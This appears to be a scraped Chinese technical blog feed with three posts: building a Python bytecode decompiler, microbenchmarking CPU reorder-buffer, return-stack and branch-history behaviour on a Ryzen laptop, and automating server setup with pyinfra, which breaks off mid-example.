Python 在执行程序的时候，会将 Python 代码转换成 Python 字节码，然后供 Python 解释器执行。Python 解释器是一个栈虚拟机，并且由于 Python 是一个动态类型语言，所以反编译器的大致架构如下。</p>

反汇编 -- 从 .pyc 文件中提取出字节码。</li>
控制流图(Control flow graph)恢复 -- 通过跳转语句等特征，对字节码进行分割，得到控制流图。</li>
控制流(Control flow)构建 -- 通过不同控制流的特征（例如 if, while 语句的特征），来识别出控制流并进行构建。</li>
反编译语句 -- 通过栈虚拟机的执行流程，反向推理出原本的代码。</li>
</ul>
具体实现</h2>
反汇编</h3>
通过 Python 的 dis 模块即可将 Python 代码转换成字节码的反汇编形式。也可以直接通过命令行调用 python3.11 -m dis $code.py</code> 来进行转换。转换后的输出如下。</p>
  1           0 RESUME                   0</span></span>
</span>
  2           2 LOAD_FAST                0 (a)</span></span>
              4 LOAD_FAST                1 (b)</span></span>
              6 COMPARE_OP               4 (>)</span></span>
             12 POP_JUMP_FORWARD_IF_FALSE     2 (to 18)</span></span>
</span>
  3          14 LOAD_FAST                0 (a)</span></span>
             16 RETURN_VALUE</span></span>
</span>
  2     >>   18 LOAD_CONST               0 (None)</span></span>
             20 RETURN_VALUE</span></span></code></pre>
或者通过 pycdc 中的 pycdas 程序来将 .pyc 文件转换成反汇编形式。</p>
通过上面两个工具，我们得到反汇编形式的输出。将这些输出进行转换成对应的数据结构，会比自己写 .pyc 的解析器方便不少。</p>
控制流图恢复</h3>
通过 JUMP</code>/RETURN</code> 语句将指令划分成一个个的基本块(Basic block)，JUMP</code> 语句本身可以作为一个基本块的最后一条指令，其跳转的地址，也可以作为切割开基本块的标志。接下来则是遍历基本块，找到地址上相连，但是却断开的基本块，对其进行连接。</p>
由于代码比较冗余，所以在文章里忽略。</p>
控制流构建</h3>
这个是最复杂的一个地方了，我参考了 angr 里的 decompiler 实现，将构建分成了非循环控制流构建和循环控制流构建。通过拓扑排序，对控制流图进行遍历和识别控制流，在每次识别到一个控制流的时候，就将其中的几个基本块进行合并，合并成同一个节点并加入控制流图中，替换掉之前的节点。</p>
在识别控制流的时候，可以使用 networkx + graphviz 将控制流图绘制出图片，来找到不同的控制流中，不同基本块之间的关系，来辅助编写控制流识别的条件。还有就是 angr 使用的是一个魔改过的拓扑排序，不太适合移植到我写的小 Demo 中，经过研究，我选择了直接使用 BFS，因为可以避开出现循环的情况，而且在输出上接近预期结果。</p>
在识别非循环控制流的时候，通过不同控制流之间的特征，来区分和还原控制流。例如常见的 if cond: ...; else: ...</code> 语句，特征是一个基本块有两个后继的基本块，而这两个基本块也只有一个后继基本块，如果识别到这个特征，则将这几个基本块从控制流图中删除，并将其合并成一个新的节点，加入新的控制流图中。样例代码如下。</p>
succs</span> =</span> list</span>(</span>graph</span>.</span>successors</span>(</span>node</span>)</span>)</span></span>
left_succs</span> =</span> list</span>(</span>graph</span>.</span>successors</span>(</span>left</span>)</span>)</span></span>
right_succs</span> =</span> list</span>(</span>graph</span>.</span>successors</span>(</span>right</span>)</span>)</span></span>
left_pred</span> =</span> list</span>(</span>graph</span>.</span>predecessors</span>(</span>left</span>)</span>)</span></span>
right_pred</span> =</span> list</span>(</span>graph</span>.</span>predecessors</span>(</span>right</span>)</span>)</span></span>
if</span> (</span></span>
    len</span>(</span>left_succs</span>)</span> ==</span> 1</span></span>
    and</span> left_succs</span> ==</span> right_succs</span></span>
    and</span> len</span>(</span>left_pred</span>)</span> ==</span> 1</span></span>
    and</span> len</span>(</span>right_pred</span>)</span> ==</span> 1</span></span>
)</span>:</span></span>
    #</span> match: if cond: ... else: ...</span></span>
    #</span> Rearrange graph for further matching</span></span>
    #</span> remove sucessor, connect node and sucessor's sucessor</span></span>
    graph</span>.</span>remove_node</span>(</span>left</span>)</span></span>
    graph</span>.</span>remove_node</span>(</span>right</span>)</span></span>
    cg</span> =</span> IfElseNode</span>(</span>node</span>.</span>label</span>,</span> node</span>,</span> left</span>,</span> else_</span>=</span>right</span>)</span></span>
    for</span> pred</span> in</span> graph</span>.</span>predecessors</span>(</span>node</span>)</span>:</span></span>
        graph</span>.</span>add_edge</span>(</span>pred</span>,</span> cg</span>)</span></span>
    graph</span>.</span>add_edge</span>(</span>cg</span>,</span> left_succs</span>[</span>0</span>]</span>)</span></span>
    graph</span>.</span>remove_node</span>(</span>node</span>)</span></span>
    return</span> cg</span></span></code></pre>
在识别循环控制流的时候，需要识别出控制流里构成循环的基本块，这里 decompilation.wiki 列出了 3 种算法，我选择了 Havlak-Tarjan 算法，这个算法不止可以用来检测循环，而且也可以用于不同语言之间性能的检测，例如 rsc/benchgraffiti</a>。Havlak 算法首先用 DFS 来分配每个节点的前序编号，然后通过编号对节点进行分类，分为有前序节点和无前序节点两种类型，接下来则是使用 worklist 算法来计算祖先节点。这里我偷懒了一下，我的实现和原本的实现存在差别，等后面继续完善了。</em></p>
def</span> havlak</span>(</span>start_node</span>,</span> graph</span>:</span> nx</span>.</span>DiGraph</span>)</span>:</span></span>
    """</span></span>
    Havlak-Tarjan</span></span>
    ref: https://github.com/rsc/benchgraffiti/blob/master/havlak/havlak1.cc</span></span>
    and https://decompilation.wiki/fundamentals/structuring/loop-reduction/</span></span>
    """</span></span>
    #</span> 用 DFS 来分配前序编号</span></span>
    visited</span> =</span> set</span>(</span>)</span></span>
    last_dic</span> =</span> {</span>}</span></span>
    dfs</span>(</span>graph</span>,</span> start_node</span>,</span> visited</span>,</span> last_dic</span>,</span> 0</span>)</span></span>
    #</span> 通过编号来判断祖先关系</span></span>
    back_preds</span> =</span> defaultdict</span>(</span>list</span>)</span></span>
    non_back_preds</span> =</span> defaultdict</span>(</span>list</span>)</span></span>
    for</span> node</span> in</span> graph</span>.</span>nodes</span>:</span></span>
        for</span> pred</span> in</span> graph</span>.</span>predecessors</span>(</span>node</span>)</span>:</span></span>
            if</span> is_ancestor</span>(</span>node</span>,</span> pred</span>,</span> last_dic</span>)</span>:</span></span>
                back_preds</span>[</span>node</span>]</span>.</span>append</span>(</span>pred</span>)</span></span>
            else</span>:</span></span>
                non_back_preds</span>[</span>node</span>]</span>.</span>append</span>(</span>pred</span>)</span></span>
    #</span> 用 worklist 算法来计算祖先</span></span>
    loop_node</span>:</span> dict</span>[</span>Node</span>,</span> list</span>[</span>Node</span>]</span>]</span> =</span> {</span>}</span></span>
    for</span> node</span> in</span> reversed</span>(</span>list</span>(</span>graph</span>.</span>nodes</span>)</span>)</span>:</span></span>
        node_list</span> =</span> list</span>(</span>back_preds</span>[</span>node</span>]</span>)</span></span>
        worklist</span> =</span> list</span>(</span>node_list</span>)</span></span>
        while</span> len</span>(</span>worklist</span>)</span>:</span></span>
            x</span> =</span> worklist</span>.</span>pop</span>(</span>0</span>)</span></span>
            for</span> y</span> in</span> non_back_preds</span>.</span>get</span>(</span>x</span>,</span> [</span>]</span>)</span>:</span></span>
                if</span> is_ancestor</span>(</span>node</span>,</span> y</span>,</span> last_dic</span>)</span>:</span></span>
                    worklist</span>.</span>append</span>(</span>y</span>)</span></span>
                    node_list</span>.</span>append</span>(</span>y</span>)</span></span>
        loop_node</span>[</span>node</span>]</span> =</span> node_list</span></span>
    return</span> loop_node</span></span></code></pre>反编译语句</h3>
Python 通过栈虚拟机来执行代码，所以在分析代码的时候可以模拟代码执行，创建一个表达式栈，并根据操作将变量放入放出栈中，从而实现恢复语句。</p>
例如下面反汇编得到的结果，展示了 value = a + b</code> 这个语句，我们可以通过模拟栈操作，来实现对代码的还原。</p>
 20          36 LOAD_FAST                0 (a)</span></span>
             38 LOAD_FAST                1 (b)</span></span>
             40 BINARY_OP                0 (+)</span></span>
             44 STORE_FAST               3 (value)</span></span></code></pre>
下面是还原语句的代码。</p>
def</span> parse_block_stack</span>(</span>insts</span>:</span> DecompLines</span>)</span>:</span></span>
    stack</span>:</span> list</span>[</span>str</span>]</span> =</span> [</span>]</span></span>
    lines</span>:</span> list</span>[</span>str</span>]</span> =</span> [</span>]</span></span>
    for</span> linenum</span>,</span> inst</span> in</span> insts</span>:</span></span>
        if</span> inst</span>.</span>op</span>.</span>startswith</span>(</span>"</span>LOAD_</span>"</span>)</span>:</span></span>
            stack</span>.</span>append</span>(</span>inst</span>.</span>args</span>)</span></span>
        elif</span> inst</span>.</span>op</span>.</span>startswith</span>(</span>"</span>STORE_</span>"</span>)</span>:</span></span>
            value</span> =</span> stack</span>.</span>pop</span>(</span>)</span></span>
            lines</span>.</span>append</span>(</span>f</span>"</span>{</span>inst</span>.</span>args</span>}</span> = </span>{</span>value</span>}</span>"</span>)</span></span>
    return</span> lines</span></span></code></pre>
在上面的步骤中，我们还原出了控制流，即我们构建出了一个类似 AST 一样的树状结构，可以通过 BFS 或者 DFS 来不断遍历这棵树，来还原相应的语句，碰到叶子节点的时候，则使用上面讲的模拟栈方法，来还原相应的语句。</p>
总结</h2>
这篇文章主要讲了反编译 Python 字节码的 4 个步骤以及细节。但是因为工程量大，很多细节没有完善，等待后续完善了。代码：https://github.com/chenx6/gadget/tree/master/pydec</a>。</p>
Refs</h2>

Decompilation Wiki</a></li>
vineflower/ARCHITECTURE.md</a></li>
zrax/pycdc</a></li>
angr/angr/analyses/decompiler</a></li>
</ul>


CPU 微指令集测试初步探索
2025-04-05T00:00:00+00:00
之前看了 Chips and cheese 这个博客，发现他们对 CPU 的测试方法很独特，不是像国内的 KOL 一样跑几个跑分软件然后拿分数进行对比，而是会测试像 CPU 的分支预测，乱序执行，内存读取延迟等指标。所以我也想学习一下这些测试的原理。</p>
指令重排序缓存(Reorder Buffer)</h2>
现代 CPU 会使用乱序执行来加快指令的执行速度。但是在程序员视角里，指令是顺序执行的。这时候就需要通过指令重排序缓存(Reorder Buffer)来记录下这些乱序执行的指令的顺序，执行完成的指令不会立即提交，而是先在缓存中等着，在所有指令都提交后才提交到寄存器中。</p>
因为在缓存中的指令执行是并行的，所以可以通过填充一条需要长时间执行的指令来阻塞提交，并且观察在阻塞提交时候，还能执行多少条指令，来推算出指令重排序缓存大小。</p>
在测试中，可以使用缓存未命中的读取内存指令当作需要长时间执行的指令。在两条这样的指令之间塞入一堆 NOP 指令，如果两条指令处于缓存中的话，这两条指令是并行执行的，反之则会串行执行。这时候就可以观察 NOP 指令的数量和指令的执行时间推算出指令重排序缓存大小。</p>
运行 "Veedrac/microarchitecturometer" Repo 里的测试，可以看到生成了类似下面的测试代码，即通过在单个函数的两条读取内存指令中间，填充上不同数量的 NOP 指令，并计算出单个函数的执行时间，来计算出缓存的大小。</p>
__attribute__</span>(</span>(</span>noinline</span>)</span>)</span></span>
uint64_t</span> time_rob_000002</span>(</span>void</span> *</span>*</span>list_0</span>,</span> void</span> *</span>*</span>list_1</span>)</span> {</span></span>
    uint64_t</span> start </span>=</span> get_nanos</span>(</span>)</span>;</span></span>
</span>
    uint64_t</span> mem</span>[</span>1</span>]</span>;</span> *</span>mem </span>=</span> (</span>uint64_t</span>)</span>mem</span>;</span></span>
    uint64_t</span> r0 </span>=</span> 0</span>,</span> r1 </span>=</span> 0</span>,</span> r2 </span>=</span> 0</span>,</span> r3 </span>=</span> 0</span>,</span> r4 </span>=</span> 0</span>,</span> r5 </span>=</span> 0</span>,</span> r6 </span>=</span> 0</span>,</span> r7 </span>=</span> 0</span>;</span></span>
    _Pragma</span>(</span>"</span>nounroll</span>"</span>)</span></span>
    for</span> (</span>uint64_t</span> i </span>=</span> 0</span>;</span> i </span><</span> 10000</span>;</span> ++</span>i</span>)</span> {</span></span>
        list_0 </span>=</span> (</span>void</span> *</span>*</span>)</span>*</span>list_0</span>;</span></span>
        asm</span> volatile</span>(</span>"</span>"</span>"</span>nop</span>\n</span>"</span>"</span>nop</span>\n</span>"</span> :</span> "</span>+r</span>"</span>(</span>r0</span>)</span>, </span>"</span>+r</span>"</span>(</span>r1</span>)</span>, </span>"</span>+r</span>"</span>(</span>r2</span>)</span>, </span>"</span>+r</span>"</span>(</span>r3</span>)</span>, </span>"</span>+r</span>"</span>(</span>r4</span>)</span>, </span>"</span>+r</span>"</span>(</span>r5</span>)</span>, </span>"</span>+r</span>"</span>(</span>r6</span>)</span>, </span>"</span>+r</span>"</span>(</span>list_0</span>)</span>, </span>"</span>+r</span>"</span>(</span>list_1</span>)</span> :</span>:</span> "</span>cc</span>"</span>)</span>;</span></span>
        list_1 </span>=</span> (</span>void</span> *</span>*</span>)</span>*</span>list_1</span>;</span></span>
        asm</span> volatile</span>(</span>"</span>"</span>"</span>nop</span>\n</span>"</span>"</span>nop</span>\n</span>"</span> :</span> "</span>+r</span>"</span>(</span>r0</span>)</span>, </span>"</span>+r</span>"</span>(</span>r1</span>)</span>, </span>"</span>+r</span>"</span>(</span>r2</span>)</span>, </span>"</span>+r</span>"</span>(</span>r3</span>)</span>, </span>"</span>+r</span>"</span>(</span>r4</span>)</span>, </span>"</span>+r</span>"</span>(</span>r5</span>)</span>, </span>"</span>+r</span>"</span>(</span>r6</span>)</span>, </span>"</span>+r</span>"</span>(</span>list_0</span>)</span>, </span>"</span>+r</span>"</span>(</span>list_1</span>)</span> :</span>:</span> "</span>cc</span>"</span>)</span>;</span></span>
    }</span></span>
</span>
    return</span> get_nanos</span>(</span>)</span> -</span> start</span>;</span></span>
}</span></span></code></pre>
下面是在我的笔记本 CPU "AMD Ryzen 7 PRO 4750U with Radeon Graphics" 上运行 "Veedrac/microarchitecturometer" 测试的结果，可以发现在 padding 为 220-224 的时候，时间(time taken 列)有一个明显的增幅，和 Wikichip 上记载的 ROB 大小为 224 吻合。</p>
padding time taken      time taken (baseline)</span></span>
200     1132683 1838407</span></span>
202     1084975 1853388</span></span>
204     1108399 1850021</span></span>
206     1142985 1885061</span></span>
208     1127969 1847312</span></span>
210     1076971 1849623</span></span>
212     1089703 1809988</span></span>
214     1149620 1827609</span></span>
216     1116124 1824020</span></span>
218     1209005 1886430</span></span>
220     1424102 1887275</span></span>
222     1767155 1896801</span></span>
224     1916405 1936087</span></span>
226     1906684 1926581</span></span>
228     1899979 1914918</span></span>
230     1920952 1913612</span></span>
232     1914101 1896864</span></span>
234     1887261 1910685</span></span>
236     1886835 1897932</span></span>
238     1913479 1894720</span></span>
240     1915728 1929277</span></span></code></pre>返回地址栈(Return Address Stack)</h2>
现代 CPU 会通过分支预测来提升指令的执行速度，使用返回地址栈来进行返回地址的预测是一种特殊的分支预测。存储返回地址的返回地址栈的大小是有限制的，每一层函数调用都需要在栈中占用一个条目，如果调用层级过深，可能会导致超过大小限制，导致返回地址预测错误。</p>
在测试中，可以通过编写不同的函数，并逐步增加函数调用的嵌套深度来进行测试。由于在发生返回地址预测错误的时候，函数的执行时间会变长，通过这个变化即可计算出返回地址分支预测的深度。</p>
在 "clamchowder/Microbenchmarks" 的 "ReturnStackTest.cs" 中，会按照上面文字描述的流程，生成一堆的汇编来测试返回地址栈的大小，并在不同深度的测试外层加上了循环，来让测试更明显的观察到函数执行时间变动。</p>
.global</span> returnstack2</span></span>
returnstack2</span>:</span></span>
  xor</span> %</span>rax</span>, %</span>rax</span></span>
returnstack2_loop</span>:</span></span>
  call</span> returnstack2_0</span></span>
  dec</span> %</span>rdi</span></span>
  jne</span> returnstack2_loop</span></span>
  ret</span></span>
.global</span> returnstack2_0</span></span>
.align </span>128</span></span>
returnstack2_0</span>:</span></span>
  add</span> %</span>rdi</span>, %</span>rax</span></span>
  call</span> returnstack2_1</span></span>
.align </span>128</span></span>
  ret</span></span>
.global</span> returnstack2_1</span></span>
.align </span>128</span></span>
returnstack2_1</span>:</span></span>
.align </span>128</span></span>
  ret</span></span></code></pre>
因为我电脑上没有 C# 环境，所以我让 Deepseek 将对应的 C# 代码转换成了 Python 代码，来生成上面的汇编，并手写了下面的 C 代码来配合汇编进行测试。</p>
#</span>include</span> <</span>stdint.h</span>></span></span>
#</span>include</span> <</span>stdio.h</span>></span></span>
#</span>include</span> <</span>sys/time.h</span>></span></span>
</span>
extern</span> void</span> returnstack12</span>(</span>uint64_t</span> loop_count</span>)</span>;</span></span>
</span>
long</span> time_lapsed</span>(</span>struct</span> timeval </span>begin</span>,</span> struct</span> timeval </span>end</span>)</span> {</span></span>
  long</span> seconds </span>=</span> end</span>.</span>tv_sec</span> -</span> begin</span>.</span>tv_sec</span>;</span></span>
  long</span> microseconds </span>=</span> end</span>.</span>tv_usec</span> -</span> begin</span>.</span>tv_usec</span>;</span></span>
  return</span> seconds </span>*</span> 1000000</span> +</span> microseconds</span>;</span></span>
}</span></span>
</span>
int</span> main</span>(</span>)</span> {</span></span>
  struct</span> timeval begin</span>,</span> end</span>;</span></span>
</span>
  gettimeofday</span>(</span>&</span>begin</span>,</span> 0</span>)</span>;</span></span>
  returnstack12</span>(</span>1000</span>)</span>;</span></span>
  gettimeofday</span>(</span>&</span>end</span>,</span> 0</span>)</span>;</span></span>
  printf</span>(</span>"</span>12 </span>%ld</span>\n</span>"</span>,</span> time_lapsed</span>(</span>begin</span>,</span> end</span>)</span>)</span>;</span></span>
</span>
  //</span> 省略不同深度的调用</span></span>
</span>
  return</span> 0</span>;</span></span>
}</span></span></code></pre>
下面是测试结果，在调用深度为 28-33 的时候，每增加一层调用，测试函数的执行时间增幅约为 10 ms，但是在调用深度为 33-36 的时候，测试函数的执行时间增幅就变为了 40 ms。和 Wikichip 上介绍的 Zen2 架构有 "A 32-entry return address stack (RAS) predicts return addresses from a near call." 接近。</p>
$ ./return_stack</span></span>
28 271</span></span>
29 297</span></span>
30 287</span></span>
31 302</span></span>
32 312</span></span>
33 316</span></span>
34 362</span></span>
35 422</span></span>
36 436</span></span></code></pre>

使用 blog.stuffedcow.net 提供的 ret.c 测试出来的结果更加准确，部分输出如下</p>
ras_depth: A chain of calls and returns</span></span>
Depth,Min,Max,Clocks,Clocks2</span></span>
省略一部分数据</span></span>
28, 45.49, 48.10, 45.71, 45.71</span></span>
29, 48.06, 50.62, 48.27, 48.27</span></span>
30, 48.78, 52.51, 49.11, 49.11</span></span>
31, 52.03, 55.05, 52.42, 52.42</span></span>
32, 60.07, 63.08, 60.48, 60.48</span></span>
33, 70.94, 73.58, 71.47, 71.47</span></span>
34, 78.65, 81.23, 79.07, 79.07</span></span>
35, 90.43, 94.01, 91.05, 91.05</span></span>
36, 97.27, 100.23, 97.71, 97.71</span></span>
37, 107.76, 110.55, 108.18, 108.18</span></span>
38, 115.89, 118.62, 116.37, 116.37</span></span>
39, 126.38, 129.32, 127.14, 127.14</span></span></code></pre></blockquote>
分支历史表(Branch History Table)</h2>
在现代 CPU 的分支预测中，分支历史表是用来记录分支指令的历史行为，来预测分支语句是否跳转。分支历史表和分支目标缓冲区(Branch Target Buffer)是 CPU 分支预测单元的组成部分。</p>
在 "clamchowder/Microbenchmarks" 的 "BranchHistoryTest.cs" 测试中，可以看到程序会生成一堆的跳转指令，每一个跳转的条件则是从程序生成的数组中读取出来，并通过改变数组的大小和内容，跳转语句的数量，来完整的测试 CPU 的分支预测能力。</p>
branchhist2</span>:</span>              ; rdi iterations, rsi arr, rdx arrLen</span></span>
  push</span> %</span>rbx</span></span>
  push</span> %</span>r8</span></span>
  push</span> %</span>r9</span></span>
  xor</span> %</span>rbx</span>, %</span>rbx</span></span>
  xor</span> %</span>r8</span>, %</span>r8</span></span>
  xor</span> %</span>r9</span>, %</span>r9</span></span>
</span>
branchhist2_loop</span>:</span></span>
  xor</span> %</span>r11</span>, %</span>r11</span>          ; set index into arr of arrs to 0</span></span>
  mov</span> (%</span>rsi</span>,%</span>r11</span>,</span>8</span>), %</span>r10</span> ; load array base pointer into r10</span></span>
  inc</span> %</span>r11</span></span>
  mov</span> (%</span>r10</span>,%</span>rbx</span>,</span>4</span>), %</span>eax</span> ; read element from branch history test array</span></span>
  test</span> %</span>eax</span>, %</span>eax</span></span>
  jz</span> branchhist2_zero0    </span>; conditional branch on test array value</span></span>
  inc</span> %</span>r8</span></span>
branchhist2_zero0</span>:</span></span>
  mov</span> (%</span>rsi</span>,%</span>r11</span>,</span>8</span>), %</span>r10</span></span>
  inc</span> %</span>r11</span></span>
  mov</span> (%</span>r10</span>,%</span>rbx</span>,</span>4</span>), %</span>eax</span></span>
  test</span> %</span>eax</span>, %</span>eax</span></span>
  jz</span> branchhist2_zero1</span></span>
  inc</span> %</span>r8</span></span>
branchhist2_zero1</span>:</span></span>
  inc</span> %</span>rbx</span>                ; loop around in pattern history test array if necessary</span></span>
  cmp</span> %</span>rbx</span>, %</span>rdx</span></span>
  cmove</span> %</span>r9</span>, %</span>rbx</span></span>
  dec</span> %</span>rdi</span></span>
  jnz</span> branchhist2_loop</span></span>
  mov</span> %</span>r8</span>, %</span>rax</span></span>
  pop</span> %</span>r9</span></span>
  pop</span> %</span>r8</span></span>
  pop</span> %</span>rbx</span></span>
  ret</span></span></code></pre>Refs</h2>

Chips and Cheese</a></li>
Zen 2 - Microarchitectures - AMD</a></li>
Veedrac/microarchitecturometer</a></li>
【计算机体系结构】重排序缓存ROB</a></li>
Measuring Reorder Buffer Capacity</a></li>
Microbenchmarking Return Address Branch Prediction</a></li>
BranchHistoryTest.cs</a></li>
</ol>


成为运维带师 - 用 pyinfra 进行自动化运维
2024-10-26T00:00:00+00:00
每次购买新服务器都要手动配置一堆的基础服务，而且配置过程太无聊了。经过研究和试验之后发现：通过 shell 脚本去执行配置就要被 shell script 的很多坑爹细节坑到，而且 shell script 本身功能有有限，还是需要借助一些外部软件来实现更多功能；ansible 配置太复杂，而且我个人不喜欢 yaml 格式，觉得这格式过于奇葩；Nix 学习成本高，而且比较占磁盘空间。</p>
有一天，我在 Hacker News 上刷到了 pyinfra</a> 这个软件，可以通过 Python 代码进行声明式的配置系统。不觉得很酷吗？作为一个懒狗，我觉得这太酷了，很符合我对自动化运维的想象。</p>
基本概念</h2>
安装 pyinfra 很简单，使用 pipx install pyinfra</code> 就完成安装了。</p>
通过 pyinfra 进行批量运维也很简单，执行 pyinfra $inventory $operations</code> 就可以批量运维系统了。这里主要涉及到了两个概念，inventory 和 operations。inventory 指的是要执行操作的主机，还有操作这些主机需要的数据，主机也可以是本地机器，通过 "@local" 这个名字来指定，或者 Docker 容器。名字以 "@docker/" 开头。operations 指的是需要执行的操作和状态，例如确保一个软件在主机上是否安装，pyinfra 会检查操作的状态，如果已经达到了状态的话 pyinfa 就不会再操作了，减少重复执行。</p>
inventory</h3>
inventory 定义很简单，新建一个 .py 文件，然后在代码里新建一个 list，list 变量的名字就是一个 group，list 里的内容就是 group 里的主机。group 可以配合 "--limit" 参数限制 operations 执行的主机范围。</p>
servers</span> =</span> [</span>"</span>@ssh/example.com</span>"</span>]</span></span></code></pre>
还可以往 inventory 里加入主机的相关数据来连接主机，例如下面的 inventory 让 pyinfra 在操作时候通过用户 "user" 和密码 "password" 连接主机。</p>
servers</span> =</span> [</span></span>
    (</span></span>
        "</span>@ssh/example.com</span>"</span>,</span></span>
        {</span></span>
            "</span>ssh_user</span>"</span>:</span> "</span>user</span>"</span>,</span></span>
            "</span>ssh_password</span>"</span>:</span> "</span>password</span>"</span></span>
        }</span>,</span></span>
    )</span>,</span></span>
]</span></span></code></pre>operations</h3>
pyinfra 已经实现了很多的操作，可以查看官方文档来查看。需要注意的是文档的内容不一定及时更新，需要以实际的代码为准。下面的代码定义了一个操作，在主机上执行 echo 命令。</p>
from</span> pyinfra</span>.</span>operations</span> import</span> server</span></span>
</span>
server</span>.</span>shell</span>(</span></span>
    name</span>=</span>"</span>Hello pyinfra</span>"</span>,</span></span>
    commands</span>=</span>[</span>'</span>echo "hello from $HOST $USER"</span>'</span>]</span>,</span></span>
)</span></span></code></pre>
将上面文件保存到 "deploy/hello.py" 后，通过 pyinfra @local deploy/hello.py</code> 执行后输出如下。可以看到命令被成功执行。</p>
$</span> pyinfra</span> @local</span> deploy/hello.py</span>           </span></span>
--</span>></span> Loading</span> config...</span></span>
--</span>></span> Loading</span> inventory...</span></span>
--</span>></span> Connecting</span> to</span> hosts...</span></span>
    [</span>@local</span>]</span> Connected</span></span>
</span>
--</span>></span> Preparing</span> operations...</span></span>
--</span>></span> Preparing</span> Operations...</span></span>
    Loading:</span> deploy/hello.py</span></span>
    [</span>@local</span>]</span> Ready:</span> deploy/hello.py</span></span>
</span>
--</span>></span> Detected</span> changes:</span></span>
    Operation</span>       Change</span>       Conditional</span> Change</span>   </span></span>
    Hello</span> pyinfra</span>   1</span> (@local</span>)   -                    </span></span>
</span>
    Detected</span> changes</span> may</span> not</span> include</span> every</span> change</span> pyinfra</span> will</span> execute.</span></span>
    Hidden</span> side</span> effects</span> of</span> operations</span> may</span> alter</span> behaviour</span> of</span> future</span> operations,</span></span>
    this</span> will</span> be</span> shown</span> in</span> the</span> results.</span> The</span> remote</span> state</span> will</span> always</span> be</span> updated</span></span>
    to</span> reflect</span> the</span> state</span> defined</span> by</span> the</span> input</span> operations.</span></span>
</span>
    Detected</span> changes</span> displayed</span> above,</span> skip</span> this</span> step</span> with</span> -</span>y</span></span>
                             </span></span>
--</span>></span> Beginning</span> operation</span> run...</span></span>
--</span>></span> Starting</span> operation:</span> Hello</span> pyinfra</span> </span></span>
    [</span>@local</span>]</span> Success</span></span>
</span>
--</span>></span> Results:</span></span>
    Operation</span>       Hosts</span>   Success</span>   Error</span>   No</span> Change</span>   </span></span>
    Hello</span> pyinfra</span>   1</span>       1</span>         -</span>       -</span>           </span></span>
</span>
--</span>></span> Disconnecting</span> from</span> hosts...</span></span></code></pre>
配合上面 inventory 的内容，将上面 inventory 的内容保存在 inventory.py 文件中，即可通过 pyinfra inventory.py deploy/hello.py</code> 在别的主机上执行 operations 操作了。</p>
实战</h2>
更换 apt source</h3>
下面的代码表示了更换 apt source 的操作：通过全局设置设置当前文件下的 operation 都使用 sudo 命令操作，并设置 sudo 命令使用的密码，通过 files.replace</code> operation 替换默认的 apt source 为 USTC 镜像站。</p>
from</span> pyinfra</span>.</span>operations</span> import</span> files</span></span>
from</span> pyinfra</span>.</span>context</span> import</span> config</span>,</span> host</span></span>
</span>
config</span>.</span>SUDO</span> =</span> True</span></span>
config</span>.</span>SUDO_PASSWORD</span> =</span> host</span>.</span>data</span>.</span>get</span>(</span>"</span>ssh_password</span>"</span>)</span></span>
</span>
files</span>.</span>replace</span>(</span></span>
    path</span>=</span>"</span>/etc/apt/sources.list</span>"</span>,</span></span>
    text</span>=</span>"</span>deb.debian.org</span>"</span>,</span></span>
    replace</span>=</span>"</span>mirrors.ustc.edu.cn</span>"</span>,</span></span>
)</span></span></code></pre>部署 aria2 服务</h3>
下面的代码表示了部署 aria2 服务的操作：部署 aria2 需要创建一份 aria2 的配置，然后创建一个单独的用户，最后配置 systemd 让 aria2 在前面创建的用户上运行。在这份 operations 里用到了 files.template</code> 操作，可以使用 jinja2 模板从 inventory 里的 data 中生成 aria2 配置。在我之前的文章中应该用文字描述过如何配置 aria2 服务，现在用代码表示，可以更清晰的描述了执行的操作。</p>
from</span> pyinfra</span>.</span>operations</span> import</span> apt</span>,</span> files</span>,</span> systemd</span>,</span> server</span></span>
from</span> pyinfra</span>.</span>context</span> import</span> config</span>,</span> host</span></span>
</span>
config</span>.</span>SUDO</span> =</span> True</span></span>
config</span>.</span>SUDO_PASSWORD</span> =</span> host</span>.</span>data</span>.</span>get</span>(</span>"</span>ssh_password</span>"</span>)</span></span>
</span>
aria2_config</span> =</span> host</span>.</span>data</span>.</span>get</span>(</span>"</span>aria2_config</span>"</span>)</span></span>
</span>
apt</span>.</span>packages</span>(</span></span>
    name</span>=</span>"</span>Install aria2 program</span>"</span>,</span></span>
    packages</span>=</span>[</span>"</span>aria2</span>"</span>]</span>,</span></span>
    update</span>=</span>True</span>,</span></span>
)</span></span>
files</span>.</span>template</span>(</span></span>
    name</span>=</span>"</span>Add config</span>"</span>,</span></span>
    src</span>=</span>"</span>config/aria2/aria2.conf.j2</span>"</span>,</span></span>
    dest</span>=</span>"</span>/etc/aria2/aria2.conf</span>"</span>,</span></span>
    config</span>=</span>aria2_config</span>,</span></span>
)</span></span>
server</span>.</span>group</span>(</span></span>
    name</span>=</span>"</span>Create group</span>"</span>,</span></span>
    group</span>=</span>"</span>aria2</span>"</span>,</span></span>
)</span></span>
server</span>.</span>user</span>(</span></span>
    name</span>=</span>"</span>Create user</span>"</span>,</span></span>
    user</span>=</span>"</span>aria2</span>"</span>,</span></span>
    group</span>=</span>"</span>aria2</span>"</span>,</span></span>
)</span></span>
files</span>.</span>directory</span>(</span></span>
    name</span>=</span>"</span>Create download dir</span>"</span>,</span></span>
    path</span>=</span>aria2_config</span>[</span>"</span>download_dir</span>"</span>]</span>,</span>  # </span>type:</span> ignore</span></span>
)</span></span>
files</span>.</span>file</span>(</span></span>
    name</span>=</span>"</span>Create aria2 session</span>"</span>,</span></span>
    path</span>=</span>aria2_config</span>[</span>"</span>download_dir</span>"</span>]</span> +</span> "</span>/aria2.session</span>"</span>,</span>  # </span>type:</span> ignore</span></span>
    user</span>=</span>"</span>aria2</span>"</span>,</span></span>
    group</span>=</span>"</span>aria2</span>"</span>,</span></span>
    touch</span>=</span>True</span>,</span></span>
)</span></span>
files</span>.</span>put</span>(</span></span>
    name</span>=</span>"</span>Add systemd config</span>"</span>,</span></span>
    src</span>=</span>"</span>config/aria2/aria2.service</span>"</span>,</span></span>
    dest</span>=</span>"</span>/etc/systemd/system/aria2.service</span>"</span>,</span></span>
)</span></span>
systemd</span>.</span>daemon_reload</span>(</span>)</span></span>
systemd</span>.</span>service</span>(</span></span>
    name</span>=</span>"</span>Start service</span>"</span>,</span></span>
    service</span>=</span>"</span>aria2.service</span>"</span>,</span></span>
    running</span>=</span>True</span>,</span></span>
    enabled</span>=</span>True</span>,</span></span>
)</span></span></code></pre>
相应的 inventory.py 文件如下，和之前的 inventory 相比，加入了部署 aria2 所需的一些数据。</p>
servers</span> =</span> [</span></span>
